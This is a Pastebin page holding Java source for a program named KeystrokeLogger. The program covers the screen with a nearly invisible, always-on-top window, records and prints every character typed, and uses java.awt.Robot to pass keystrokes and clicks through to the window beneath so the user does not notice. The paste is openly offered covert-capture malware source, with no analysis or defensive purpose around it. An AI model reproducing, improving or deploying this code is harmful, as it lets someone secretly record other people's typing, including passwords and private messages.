Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import com.sun.awt.AWTUtilities;
- import java.awt.Dimension;
- import java.awt.Robot;
- import java.awt.Toolkit;
- import java.awt.event.KeyEvent;
- import java.awt.event.KeyListener;
- import java.awt.event.MouseAdapter;
- import java.awt.event.MouseEvent;
- import javax.swing.JFrame;
- /**
- * Logs the keystroke.
- *
- * @author Yarukinasu
- */
- public final class KeystrokeLogger
- {
- /**
- * @param args the command-line arguments
- */
- public static void main(String[] args)
- {
- try {
- if (AWTUtilities.isTranslucencySupported(AWTUtilities.Translucency.TRANSLUCENT)) {
- final JFrame frame = new JFrame();
- final Robot robot = new Robot();
- frame.addKeyListener(new KeyListener()
- {
- @Override
- public void keyPressed(KeyEvent e)
- {
- frame.setVisible(false);
- sleep();
- robot.keyPress(e.getKeyCode());
- sleep();
- frame.setVisible(true);
- }
- @Override
- public void keyReleased(KeyEvent e)
- {
- frame.setVisible(false);
- sleep();
- robot.keyRelease(e.getKeyCode());
- sleep();
- frame.setVisible(true);
- }
- @Override
- public void keyTyped(KeyEvent e)
- {
- // print the key
- System.out.print(e.getKeyChar());
- }
- });
- frame.addMouseListener(new MouseAdapter()
- {
- @Override
- public void mouseClicked(MouseEvent e)
- {
- frame.setVisible(false);
- sleep();
- robot.mousePress(e.getModifiers());
- sleep();
- robot.mouseRelease(e.getModifiers());
- sleep();
- frame.setVisible(true);
- }
- });
- frame.setAlwaysOnTop(true);
- // move to the top left, and set the size to the size of the screen
- final Dimension dimension = Toolkit.getDefaultToolkit().getScreenSize();
- frame.setBounds(0, 0, (int) dimension.getWidth(), (int) dimension.getHeight());
- frame.setVisible(true);
- // sets the transparency to almost invisible
- AWTUtilities.setWindowOpacity(frame, 0.01f);
- }
- }
- catch (final Exception ex) {
- ex.printStackTrace();
- }
- }
- /** Sleeps the thread for 25 milliseconds. */
- private static void sleep()
- {
- try {
- Thread.sleep(25);
- }
- catch (InterruptedException ex) {
- ex.printStackTrace();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement